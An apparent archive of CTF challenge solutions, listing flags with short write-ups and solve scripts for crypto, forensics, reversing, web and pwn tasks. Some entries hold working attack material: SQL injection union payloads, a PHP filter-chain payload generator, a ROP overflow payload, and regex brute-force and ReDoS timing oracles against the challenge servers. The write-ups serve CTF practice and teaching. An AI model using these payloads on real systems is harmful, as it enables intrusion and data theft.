Archived Challenges - November 2022

https://tenor.com/view/im-back-woody-toys-story2-gif-14679436

ictf{w3lcom3_to_r0und_28!}

from pwn import *

# p = process(["python3", "./server.py"])
p = remote("puzzler7.imaginaryctf.org", 7000)

flag = 'ictf{'

while '}' not in flag:
    for c in "abcdefghijklmnopqrstuvwxyz0123456789_}":
        rx = flag + c + ".*"
        p.recvuntil(': ')
        p.sendline(rx)
        print(rx)
        if b"Match!" in p.recvline():
            flag += c
            break
    print(flag)

Simple brute force. You can test which characters are in the flag with inputs like ictf{[a-z0-9_]+} and then only iterate over those characters, making the search faster.

ictf{short_flag_5ddc}

y=input()# 0
eval(y)#E

You have access to full builtins, so eval(input()) split across two payloads solves the challenge. You can bypass the checksum with a comment at the end of each line.

ictf{I'm_clearly_a_paragon_of_software_design}

Can get around include being blocked by splitting the it onto 2 lines

#inc\
lude "/app/secret.py"

ictf{this_header_looks_a_bit_weird}

The bit length of any random number is very likely within the 252-255 range (the higher the bit length the more likely). Looking at the different xor possibilities, you can reconstruct the flag by recognizing the words.

ictf{random_of_random_is_not_so_random}

https://imaginaryctf.org/f/kSJZY#solve.py

Table node included in the sqlite3 file contains a graph in which nodes are various logic gates and edges are connections between said gates. One can use a recursive algorithm, similar to DFS, to traverse the graph and build up expressions to be solved by a SAT solver (eg. z3). Example implementation in Python is provided in the file solve.py.

ictf{l0gic_gat3s_are_c0ol}

https://imaginaryctf.org/f/6vtVt#x.py

This is the same as the Regrets challenges, with a few notable differences. You can't use any of the characters in the flag in your regex, and you the regexes you enter have to match themselves.

Because the server has an error message when you enter a flag character, you can quickly test all characters to get a list of blacklisted characters - '*.ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{|}.

We can bypassing matching a blacklisted character by replacing it with its octal equivalent. We don't have * anymore, but we can use + for basically exactly the same thing. In lieu of ., we can use [ -~] to match any character (matches any character with a character code between 32 ( ) and 126 (~)). Finally, to match our own regex, we would normally do something like (regex_stuff_here)|.*. We can bypass the .* with methods shown previously, but | is blacklisted. To bypass this, we can use ? like (regex)?(\([ -~])? This matches either whatever the original regex would match, or anything starting with a (.

Now, this flag is quite a bit longer than the short flag previously (120 chars vs 21 chars previously), so doing a binary search would be quite a bit faster than searching every character code. The solve script above solves in 2m38s with 760 regex requests (including finding valid flag chars).

ictf{be_g|ad_I_can't_put_a_b*cksl*sh_in_a_flag.SPHINX_OF_BLACK_QUARTZ_JUDGE_MY_VOW.the_five_boxing_wizards_jump_quickLy}

One way or another, I'm making y'all learn ReDoS!

#!/usr/bin/env python3

from pwn import *
from re import escape, fullmatch
from time import time

reqs = 0

def get_new_process():
    # p = process(["python3", "server.py"])
    p = remote('puzzler7.imaginaryctf.org', 7006)
    p.recvuntil('='*80)
    p.recvuntil('='*80)
    return p

def time_req(p, rx):
    global reqs
    reqs += 1
    p.recvuntil("regex: ")
    start = time()
    p.sendline(rx)
    return not p.can_recv(.5)

def get_nested(n):
    seed = '(.*)'
    for i in range(n):
        seed = '(' + seed + '*)'
    return seed

flag = "ictf{"
p = get_new_process()
while True:
    added = 0
    for c in range(32, 127):
        rx = ''.join(f"\\{'{:03o}'.format(ord(cr))}" for cr in flag)
        rx += f"\\{'{:03o}'.format(c)}"
        rx += get_nested(40) + '~'
        if time_req(p, rx):
            added = 1
            p = get_new_process()
            flag += chr(c)
            break
    print(flag)
    if not added:
        flag += '}'
        break

print(flag)
print("Solved in", reqs, "requests")

A regex of the form stuff((((.*)*)*)*~ will evaluate instantly if stuff does not match the beginning of the flag, and will stall forever if stuff does match the beginning of the flag (the ~ isn't important - it just needs to be any character that isn't actually at the end of the flag). Thus, we can use this to search through the flag and brute force each character.

ictf{(0[]1_fl*g?}

copy/paste

ictf{we'll_be_here_same_time_tomorrow_89eedfb6}

FFT/DFT can be seen as evaluating polynomial at complex roots of unity, with inputs be coefficients. Here, we know that the input in this case is all in 0~256, so for each output value can be get 2 linear equation (Re/Im) with the flag being the roots, which can be solved with LLL. https://imaginaryctf.org/f/g4LFr#solve.py

This challenge can be seen as a slightly harder version of this.

ictf{when_in_doubt_it_is_always_LLL!!!_57056c1038e453721794785a6bc57a65}

Inspect element on the little square that's actually an image. The source is the flag.

ictf{insp3cting_my_site?_h0w??}

curl eth007.me/robots.txt curl https://eth007.me/10b20f3d29ba114a.txt

ictf{truly_not_a_robot}

Visiting the website gives a warning that the site isn't secure. Viewing the self-signed certificate will yield the flag.

ictf{securesecuresecuresecuresecuresecuresecuresecuresecure}

' union select sql, null, null from sqlite_master;/*
' union select *, null from hmmwhatshouldicallmyusers;/*

The first search above shows the database schema, and the second pulls the users table, getting the flag.

ictf{reading_is_good_but_please_stop_reading_my_databases}

You can modify https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT to prepend more convert.iconv.UTF8.CSISO2022KR to get rid of > characters in the final decoded string, and use string.strip_tags (removed in PHP 8) to strip the remaining characters.

from base64 import b64encode


file_to_use = "/dev/null"
base64_payload = b64encode(b"plz give me the flag<").decode().replace("=", "")

# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
    filters += open("./res/" + (str(hex(ord(c)))).replace("0x", "")).read() + "|"
    # decode and reencode to get rid of everything that isn't valid base64
    filters += "convert.base64-decode|"
    filters += "convert.base64-encode|"
    # get rid of equal signs
    filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"
filters += "|string.strip_tags"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

with open("test.php", "w") as f:
    f.write('<?php echo file_get_contents("' + final_payload + '");?>')
print(filters)

# import os

# os.system("php7 test.php")

ictf{maybe_this_is_the_last_php_7.4_challenge_before_its_EOL}

https://imaginaryctf.org/f/ovBmi#pinsolver.py

The Dockerfile allows for LFI, which allows you to generate the PIN yourself with https://www.daehee.com/werkzeug-console-pin-exploit/.

ictf{this_is_the_way_step_inside_348dde}

from recaesar import caesar

alphabet = bytes(range(32, 127))

def uncaesar(ct, key):
    ret = [alphabet[(ct[0] - key[0] - 32)%len(alphabet)]]
    if len(ct) > 1:
           ret += uncaesar(ct[1:], caesar(key, key))
    return ret

flag = b'w Mw>Y2XE/cOO+8`mSIBd]_dQS3H!:{:gI5f!":%2SVgN1pM>|;lh[G9m]p`U?0@1O3'

for i in range(97):
    out = bytes(uncaesar(flag, [i]))
    if b'ictf' in out:
        print(out)

Despite the key being 16 bytes, there's only 97 unique keys, because shifting through the alphabet 98 times is the same as shifting through it only once. Thus, we can simply copy the encryption algorithm, change the addition to subtraction, and brute-force the key.

ictf{the_classics_are_classic_for_a_reason-they_belong_in_the_past}

https://imaginaryctf.org/f/ZhTiH#x.py

This is effectively a vigenere cipher - you can split the ciphertext into every 16th character, and perform frequency analysis on it.

ictf{All_that_we_know_who_lie_in_gaol_Is_that_the_wall_is_strong;}

DFS each digits by modulo 10**n

n = 1662734555680236560371530079840156165546159265240770476500812347981852655169775541583485319519878094053069884955030546649262293926078756102019959180326054221460930099440022824663595600039215393680689814825169197892296923928206875142345683514271717622975714505083061478942950252402251867438452387340862290137
sub = [3, 6, 4, 9, 7, 2, 5, 1, 8, 0]


def tonum(xs):
    return int("".join(map(str, xs[::-1])))


def search(p, q):
    if len(p) >= 155:
        return
    # print(p, q)
    m = 10 ** (len(p) + 1)
    for x in range(10):
        pp = p + [x]
        qq = q + [sub[x]]
        pn = tonum(pp)
        qn = tonum(qq)
        if pn > 1 and n % pn == 0:
            print(pn)
            exit()
        if pn * qn % m == n % m:
            search(pp, qq)


search([], [])

ictf{not_sure_how_hard_would_it_be_if_the_sbox_isn't_provided}

Doing the extended gcd of e1 and e2 gives u, v such that e1*u + e2*v = g, where g = gcd(e1, e2). Let c3 = c1^u * c2^v = m^(e1*u + e2*v) = m^g. Now g is small enough that m^g < n, so that you can simply take the g-th root over the integers.

ictf{XGCD>XKCD}

Same as last time, use xgcd to get the (padded) as a root of f = X^{7 - c3, where c3 = c1}u * c2^{v and e1u + e2v = 7. Now notice the only unknown part of the flag is m < 256}18, so that if we call P the padding then m is a root of g = f(X*256^(256 - 23) + P). Run coppersmith, get the flag, profit.

ictf{C0pp3r5m1th_r0ck5!}

Iterate over each of the n values to see if any of them have any factors in common by seeing if any of them have a gcd that is not 1. Then if they do have a factor in common, it makes it trivial to factor and decrypt.

from Crypto.Util import number

e = 65537

with open("messages.txt", "r") as f:
    data = [x.split(",") for x in f.readlines()]

for x in data:
    n1 = int(x[0])
    for y in data:
        n2 = int(y[0])
        if n1 != n2 and number.GCD(n1, n2) != 1:
            p = number.GCD(int(x[0]), int(y[0]))
            n = n1
            c = int(x[1])
            q = n // p
            phi = (p - 1) * (q - 1)
            d = number.inverse(e, phi)
            m = pow(c, d, n)
            msg = number.long_to_bytes(m)
            print(f"{m = }")
            print(f"{msg = }")
            exit()

ictf{bad_prngs_can_cause_collisions_349d}

The zip files aren't compressed or password protected at all, so a simple grep -a ictf flag.zip will get the flag.

ictf{th3re_are_po1nts_to_b3_scored._ther3_are_gam3s_to_be_won.}

With pngcheck, you can find the errors and fix them: - wrong header - size in pHYs was modified (this one can be ignored and guessed visually afterwards, since you can display the image even with a wrong CRC) - an IDAT changed to TEXT - IEND changed to LMAO

Original file: https://imaginaryctf.org/f/XQ9R8

ictf{pngch3ck_ftw}

import zipfile
import io

z = zipfile.ZipFile("output/flag.zip")

for i in range(100):
    files = {}
    for f in z.namelist():
        files[f] = z.read(f)
        print(f, len(files[f]))
        
    filename = max(files, key=lambda x:len(files[x]))
    content = io.BytesIO(files[filename])
    z = zipfile.ZipFile(content)
    print(filename)
z.extractall(path="output")

As the zip files are now compressed, the unique data is in the larger child of each zip. Recursively extracting the largest file at each row will yield the flag.

ictf{I_sure_hope_you_didn't_extract_all_of_those_files...2fa2f8f22ff152e5}

Looking through the LSBs, you can see that there is data on the red 0, green 1, and blue 2 bits. Knowing that the first character is i, you can determine that the order of the bits is blue, then red, then green.

A site like https://stegonline.georgeom.net can make short work of all parts of this challenge.

ictf{inferring_the_bit_order_from_known_plaintext!}

ct = [20, 37, 47, 47, 56, 52, 38, 46, 51, 56, 23, 58, 57, 50, 86, 95, 95, 103, 0]
ct = ct[:-1] # cutting the extra 0
flag_start = []
flag_end = [ord('}')]

start = 1

for c in ct:
    if start:
        flag_start.append(flag_end[0]^c)
    else:
        flag_end = [flag_start[-1]^c] + flag_end
    start = not start
    print(bytes(flag_start), bytes(flag_end))
print(bytes(flag_start) + bytes(flag_end))

Because we know the flag ends with }, we can reverse the xors to get each character, starting from the outside of the flag and working our way in.

ictf{TW33TlenCH@LL}

The check function will become infinite loop when the input is the fixed point of f(x)=a*x+b (mod 2^64), and thus keep the checking result not being overridden until timeout. So you can extract those a and b numbers for each check and solve for f(x)=x (mod 2^64) to get flag.

from pwn import ELF
import struct

elf = ELF("./chall")
sz = 4 + 4 + 8 + 8 + 8
for i in range(144 // 8):
    data = elf.read(elf.sym["checks"] + i * sz, sz)
    _, _, a, b, _ = struct.unpack("<IIQQQ", data)
    # a*x+b=x
    # (a-1)*x+b=0
    # x=-b/(a-1)
    x = pow(a - 1, -1, 2**64) * -b % 2**64
    print(x.to_bytes(8, "little").decode(), end="")

Source code: https://imaginaryctf.org/f/d7amm#main.c

ictf{do_you_know_this_flag_checker_doesnt_work_with_O2_because_compiler_may_optimize_it_to_return_zero_directly_https://godbolt.org/z/8nr9cjY4T}

This is just a stripped C++ binary that xors the user input by 0x42, and checks it against a constant array. The only difference is that all of the operations are wrapped in a custom class, which obsfucates things somewhat.

ictf{I_really_hope_this_ends_up_being_the_right_amount_of_complicated}

from pwn import *

# p = process(["./start"])
p = remote("puzzler7.imaginaryctf.org", 7004)

payload = b'a'*88 + p64(0x401271)
p.sendline(payload)
p.interactive()```

A simple ROP - all you need to do is jump to the bit of code that prints the flag, in the middle of the `main` function.

ictf{I_have_a_bad_habit_of_jumping_into_the_middle_of_things}

There's a use-after-free bug in that you can delete logged-in accounts. Because freeing a chunk of memory puts it on a stack to be used later, a memory used for a deleted account will later be used when creating an account.

Thus, by logging in as any account, deleting it, and creating 2 admin accounts, you can change the currently-logged-in account to admin, and get the flag.

As the flag notes, this is a slight reskin of a challenge that was used before. Specifically, it was an extra challenge, only available to server boosters, used to test the (then-new) discord bot in March of 2021.

ictf{if_this_challenge_looks_familiar_you've_been_here_too_long}